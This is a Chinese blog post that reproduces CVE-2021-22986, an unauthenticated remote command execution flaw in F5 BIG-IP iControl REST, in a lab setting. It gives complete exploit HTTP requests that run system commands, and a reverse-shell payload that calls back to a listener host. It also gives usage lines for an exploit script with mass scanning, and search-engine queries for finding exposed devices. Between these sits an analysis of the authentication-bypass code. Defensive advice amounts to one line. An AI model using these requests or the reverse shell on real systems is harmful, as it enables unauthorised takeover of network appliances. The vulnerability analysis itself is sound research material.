前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-22986:F5 BIG-IP iControl REST RCE

CVE-2021-22986:F5 BIG-IP iControl REST RCE

原创
作者头像
Al1ex
修改2021-04-01 09:49:54
1.2K0
修改2021-04-01 09:49:54
举报
文章被收录于专栏:网络安全攻防网络安全攻防

影响范围

  • F5 BIG-IQ 6.0.0-6.1.0
  • F5 BIG-IQ 7.0.0-7.0.0.1
  • F5 BIG-IQ 7.1.0-7.1.0.2
  • F5 BIG-IP 12.1.0-12.1.5.2
  • F5 BIG-IP 13.1.0-13.1.3.5
  • F5 BIG-IP 14.1.0-14.1.3.1
  • F5 BIG-IP 15.1.0-15.1.2
  • F5 BIG-IP 16.0.0-16.0.1

漏洞类型

远程命令执行

利用条件

影响范围应用

漏洞概述

F5 BIG-IP是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

2021年3月16日,F5更新的安全通告中披露了一则iControl REST接口未授权远程命令执行漏洞,此漏洞允许未经身份验证的攻击者通过BIG-IP管理接口和自身的IP地址,通过网络访问iControl REST接口,执行任意系统命令,创建或删除文件,并禁用服务。

漏洞复现

环境搭建

虚拟机下载

首先去官网(https://login.f5.com/resource/login.jsp)注册一个账号(ondxbz43867@chacuo.net/12345Qwert),并登陆:

login
login

之后进入下载页面,在这里我们下载v15.x系列的漏洞版本和安全版本进行分析测试,下载页面如下:

https://downloads.f5.com/esd/productlines.jsp

Download
Download

下载存在漏洞的BIG-IP的ova文件:

之后选择任意一种下载方式下载:

虚拟机搭建

将ova文件导入VMware Workstations中:

启动之后会要求输入账号密码,BIG默认账号密码为root/default:

成功登陆之后会要求我们重置密码,这个密码为Web页面的登陆密码(该密码要有一定的复杂度,这里使用kvqasdt!q1和kvqasdt!q2)需要记住:

然后在命令行下输入"config"打开打开Configuration Utility工具来查看当前BIG-IP的IP地址信息:

之后点击"OK",然后选择IPV4 IP地址:

之后你会看到当前存在漏洞的靶机主机IP地址信息(192.168.174.164)和安全靶机IP地址信息(192.168.174.165):

之后在浏览器中使用https://ip地址进行访问:

之后使用"admin/之前重置的密码—kvqasdt!q1"进行登录认证:

之后还需要再重置一次登录密码,这里重置为hkn!2gQWsgk和hkn!3gQWsgk

至此,我们已经拥有一个账号为admin/hkn!2gQWsgk的漏洞靶机和账户为admin/hkn!3gQWsgk的安全主机,下面我们进行简易测试~

漏洞利用

访问/mgmt/tm/util/bash,同时使用burpsuite抓包,添加一下POST请求体:

代码语言:javascript
复制
{
	"command":"run",	
	"utilCmdArgs":"-c whoami"
}

之后直接执行,发现会需要进行身份认证:

代码语言:javascript
复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50

{
"command":"run",	
"utilCmdArgs":"-c whoami"
}

之后添加一下请求头,实现未授权RCE

代码语言:javascript
复制
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QVNhc1M=

代码语言:javascript
复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QVNhc1M=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50

{
"command":"run",	
"utilCmdArgs":"-c whoami"
}

之后通过RCE查看id

代码语言:javascript
复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 46

{
"command":"run",	
"utilCmdArgs":"-c id"
}

之后反弹一个shell到Kali linux中:

代码语言:javascript
复制
-c 'bash -i >&/dev/tcp/192.168.174.129/8888 0>&1'

代码语言:javascript
复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 90

{
"command":"run",	
"utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.174.129/8888 0>&1'"
}

漏洞分析

漏洞POC如下:

代码语言:javascript
复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QVNhc1M=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50

{
"command":"run",	
"utilCmdArgs":"-c whoami"
}

f5.rest.common.RestOperationIdentifier.class类中的setIdentityFromBasicAuth函数用于根据请求包中的信息来初始化identityData()

代码语言:javascript
复制
  private static boolean setIdentityFromBasicAuth(RestOperation request) {
    String authHeader = request.getBasicAuthorization();
    if (authHeader == null)
      return false; 
    AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
    request.setIdentityData(components.userName, null, null);
    return true;
  }
}

以上代码首先会获取请求头中的Authorization字段,之后调用AuthzHelper.decodeBasicAuth进行一些base64解密操作:

代码语言:javascript
复制
  public static BasicAuthComponents decodeBasicAuth(String encodedValue) {
    BasicAuthComponents components = new BasicAuthComponents();
    if (encodedValue == null)
      return components; 
    String decodedBasicAuth = new String(DatatypeConverter.parseBase64Binary(encodedValue));
    int idx = decodedBasicAuth.indexOf(':');
    if (idx > 0) {
      components.userName = decodedBasicAuth.substring(0, idx);
      if (idx + 1 < decodedBasicAuth.length())
        components.password = decodedBasicAuth.substring(idx + 1); 
    } 
    return components;
  }

之后调用setIdentityData函数来设置认证信息,需要注意的是这里传入的第二个、第三个参数全为null:

代码语言:javascript
复制
request.setIdentityData(components.userName, null, null);

setIdentityData函数的具体实现如下:

代码语言:javascript
复制
  public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
    if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
      String segment = UrlHelper.getLastPathSegment(userReference.link);
      if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))
        userName = segment; 
    } 
    if (userName != null && RestReference.isNullOrEmpty(userReference))
      userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName }))); 
    this.identityData = new IdentityData();
    this.identityData.userName = userName;
    this.identityData.userReference = userReference;
    this.identityData.groupReferences = groupReferences;
    return this;
  }

这里的userName不为null,所以直接跳过第一个if语句,而此时的userReference为空,满足第二个if条件语句,之后设置新的userReference,具体实现代码如下:

代码语言:javascript
复制
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName }))); 

这里的WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH如下:

代码语言:javascript
复制
public static final String AUTHZ_USERS_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { AUTHZ_WORKER_URI_PATH, "users" });

 AUTHZ_WORKER_URI_PATH如下:

代码语言:javascript
复制
public static final String AUTHZ_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authz" });

而这里的buildUriPath主要用于路径拼接:

代码语言:javascript
复制
  public static String buildUriPath(String... pathSegments) {
    StringBuilder builder = new StringBuilder();
    for (String segment : pathSegments) {
      if (null != segment)
        if (segment.length() != 0) {
          if (segment.startsWith("/"))
            segment = segment.substring(1); 
          if (segment.endsWith("/"))
            segment = segment.substring(0, segment.length() - 1); 
          if (segment.length() != 0) {
            builder.append("/");
            boolean hasPathSeparator = segment.contains("/");
            if (!hasPathSeparator) {
              boolean hasQuerySeparator = segment.contains(RestOperation.QUERY_SEPARATOR_STRING);
              if (!hasQuerySeparator)
                segment = CharEscapers.escapeUriPath(segment); 
            } 
            builder.append(segment);
          } 
        }  
    } 
    return builder.toString();
  }

所以最后的新userReference为:shared/authz/users/admin,之后更新this信息:

代码语言:javascript
复制
    this.identityData = new IdentityData();
    this.identityData.userName = userName;
    this.identityData.userReference = userReference;
    this.identityData.groupReferences = groupReferences;
    return this;

所以最后的用户认证信息如下:

代码语言:javascript
复制
identityData.userName = 'admin';
identityData.userReference = 'shared/authz/users/admin'
identityData.groupReference = null;

下面来看鉴权部分,其核心部分位于f5.rest.workers.EvaluatePermissions的completeEvaluatePermission函数,具体代码如下所示:

代码语言:javascript
复制
private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler<Void> finalCompletion) {
    final String path;
    if (token != null) {
      if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
        String error = "X-F5-Auth-Token has expired.";
        setStatusUnauthorized(request);
        finalCompletion.failed(new SecurityException(error), null);
        return;
      } 
      request.setXF5AuthTokenState(token);
    } 
    request.setBasicAuthFromIdentity();
    if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestOperation.RestMethod.POST)) {
      finalCompletion.completed(null);
      return;
    } 
    if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_LOGIN_WORKER, "available" })) && request.getMethod().equals(RestOperation.RestMethod.GET)) {
      finalCompletion.completed(null);
      return;
    } 
    final RestReference userRef = request.getAuthUserReference();
    if (RestReference.isNullOrEmpty(userRef)) {
      String error = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender();
      setStatusUnauthorized(request);
      finalCompletion.failed(new SecurityException(error), null);
      return;
    } 
    if (AuthzHelper.isDefaultAdminRef(userRef)) {
      finalCompletion.completed(null);
      return;
    } 
    if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
      path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
    } else {
      path = UrlHelper.normalizeUriPath(request.getUri().getPath());
    } 
    final RestOperation.RestMethod verb = request.getMethod();
    if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {
      String filterField = request.getParameter("$filter");
      if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
        finalCompletion.completed(null);
        return;
      } 
    } 
    if (token != null && path.equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token }))) {
      finalCompletion.completed(null);
      return;
    } 
    roleEval.evaluatePermission(request, path, verb, new CompletionHandler<Boolean>() {
          public void completed(Boolean result) {
            if (result.booleanValue()) {
              finalCompletion.completed(null);
              return;
            } 
            String error = "Authorization failed: user=" + userRef.link + " resource=" + path + " verb=" + verb + " uri:" + request.getUri() + " referrer:" + request.getReferer() + " sender:" + request.getRemoteSender();
            EvaluatePermissions.setStatusUnauthorized(request);
            finalCompletion.failed(new SecurityException(error), null);
          }
          
          public void failed(Exception ex, Boolean result) {
            request.setBody(null);
            request.setStatusCode(500);
            String error = "Internal server error while authorizing request";
            finalCompletion.failed(new Exception(error), null);
          }
        });
  }

从上面的代码可以看到这里首先会校验token是否为null,此时的token(X-F5-Auth-Token)为空,所以直接绕过后面的if语句内的检测:

代码语言:javascript
复制
if (token != null) {
      if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
        String error = "X-F5-Auth-Token has expired.";
        setStatusUnauthorized(request);
        finalCompletion.failed(new SecurityException(error), null);
        return;
      } 
      request.setXF5AuthTokenState(token);
} 

之后接着往下看,可以看到会去调用request.setBasicAuthFromIdentity();,我们跟进去查看一番:

代码语言:javascript
复制
  public void setBasicAuthFromIdentity() {
    if (this.authorizationData == null)
      return; 
    this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), null);
  }

此处的getAuthUser对应如下,用于获取认证的账户名:

代码语言:javascript
复制
  public String getAuthUser() {
    return (this.identityData == null) ? null : this.identityData.userName;
  }

encodeBasicAuth具体实现如下:

代码语言:javascript
复制
  public static String encodeBasicAuth(String user, String password) {
    if (user == null)
      return null; 
    String userPass = String.format("%s:%s", new Object[] { user, (password == null) ? "" : password });
    return DatatypeConverter.printBase64Binary(userPass.getBytes());
  }

故此处的setBasicAuthFromIdentity函数当用户请求中带有authorizationData认证信息时会将认证用户名以及强制置空的空密码作为参数传入encodeBasicAuth,如果用户名不为空则按照格式"用户名:null"进行一次base64加密后返回,注意此处没有采用认证信息中的用户名密码,而是将其强制置空后传入并按格式进行base64加密后返回,之后进行路径匹配:

代码语言:javascript
复制
if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestOperation.RestMethod.POST)) {
      finalCompletion.completed(null);
      return;
} 
if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_LOGIN_WORKER, "available" })) && request.getMethod().equals(RestOperation.RestMethod.GET)) {
      finalCompletion.completed(null);
      return;
} 

这里的EXTERNAL_LOGIN_WORKER)对应——shared/authn/login

代码语言:javascript
复制
public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authn", "login" });

buildUriPath函数如下,功能主要是拼接上面的string类型的数组中的路径:

代码语言:javascript
复制
  public static String buildUriPath(String... pathSegments) {
    StringBuilder builder = new StringBuilder();
    for (String segment : pathSegments) {
      if (null != segment)
        if (segment.length() != 0) {
          if (segment.startsWith("/"))
            segment = segment.substring(1); 
          if (segment.endsWith("/"))
            segment = segment.substring(0, segment.length() - 1); 
          if (segment.length() != 0) {
            builder.append("/");
            boolean hasPathSeparator = segment.contains("/");
            if (!hasPathSeparator) {
              boolean hasQuerySeparator = segment.contains(RestOperation.QUERY_SEPARATOR_STRING);
              if (!hasQuerySeparator)
                segment = CharEscapers.escapeUriPath(segment); 
            } 
            builder.append(segment);
          } 
        }  
    } 
    return builder.toString();
  }

很明显上述两个匹配全部失败,之后调用getAuthUserReference,此时的userRef非空,所以直接跳过if判断语句:

代码语言:javascript
复制
final RestReference userRef = request.getAuthUserReference();
if (RestReference.isNullOrEmpty(userRef)) {
      String error = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender();
      setStatusUnauthorized(request);
      finalCompletion.failed(new SecurityException(error), null);
      return;
} 

之后通过检索userRef是否为DefaultAdminRef:

代码语言:javascript
复制
 if (AuthzHelper.isDefaultAdminRef(userRef)) {
      finalCompletion.completed(null);
      return;
} 

isDefaultAdminRef函数实现如下所示:

代码语言:javascript
复制
  public static boolean isDefaultAdminRef(RestReference userReference) {
    RestReference defaultReference = getDefaultAdminReference();
    return (defaultReference != null && defaultReference.equals(userReference));
  }

getDefaultAdminReference用于获取当前DefaultAdminRef,其功能实现如下所示:

代码语言:javascript
复制
  public static RestReference getDefaultAdminReference() {
    if (DEFAULT_ADMIN_NAME == null)
      return null; 
    return new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, DEFAULT_ADMIN_NAME })));
  }

这里的DEFAULT_ADMIN_NAME为admin:

代码语言:javascript
复制
public static String DEFAULT_ADMIN_NAME = "admin";

此时的AUTHZ_USERS_WORKER_URI_PATH如下:

代码语言:javascript
复制
public static final String AUTHZ_USERS_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { AUTHZ_WORKER_URI_PATH, "users" });

AUTHZ_WORKER_URI_PATH如下:

代码语言:javascript
复制
public static final String AUTHZ_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authz" });

所以最后的DefaultAdminRef为shared/authz/users/admin,而之前的identityData.userReference为'shared/authz/users/admin',所以直接进入到if语句中,完成认证:

代码语言:javascript
复制
    if (AuthzHelper.isDefaultAdminRef(userRef)) {
      finalCompletion.completed(null);
      return;
    } 

漏洞EXP

使用方法:

代码语言:javascript
复制
python3 CVE_2021_22986.py

漏洞检测:

代码语言:javascript
复制
python3 CVE_2021_22986.py -v true -u https://192.168.174.164

命令执行:

代码语言:javascript
复制
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

代码语言:javascript
复制
 python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

批量检测

代码语言:javascript
复制
python3 CVE_2021_22986.py -s true -f check.txt

反弹shell:

代码语言:javascript
复制
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"

使用EXP检测安全靶机——漏洞不存在

漏洞检索

FOFA
代码语言:javascript
复制
app="F5-BIGIP"

Shodan
代码语言:javascript
复制
http.title:"BIG-IP&reg;- Redirect"

Censys
代码语言:javascript
复制
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

防御措施

升级到最新版本~

参考链接

https://support.f5.com/csp/article/K03009991

https://github.com/Al1ex/CVE-2021-22986

https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞类型
  • 利用条件
  • 漏洞概述
  • 漏洞复现
    • 环境搭建
      • 虚拟机下载
      • 虚拟机搭建
    • 漏洞利用
    • 漏洞分析
    • 漏洞EXP
    • 漏洞检索
    • 防御措施
    • 参考链接
    相关产品与服务
    负载均衡
    负载均衡(Cloud Load Balancer,CLB)提供安全快捷的流量分发服务,访问流量经由 CLB 可以自动分配到云中的多台后端服务器上,扩展系统的服务能力并消除单点故障。负载均衡支持亿级连接和千万级并发,可轻松应对大流量访问,满足业务需求。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档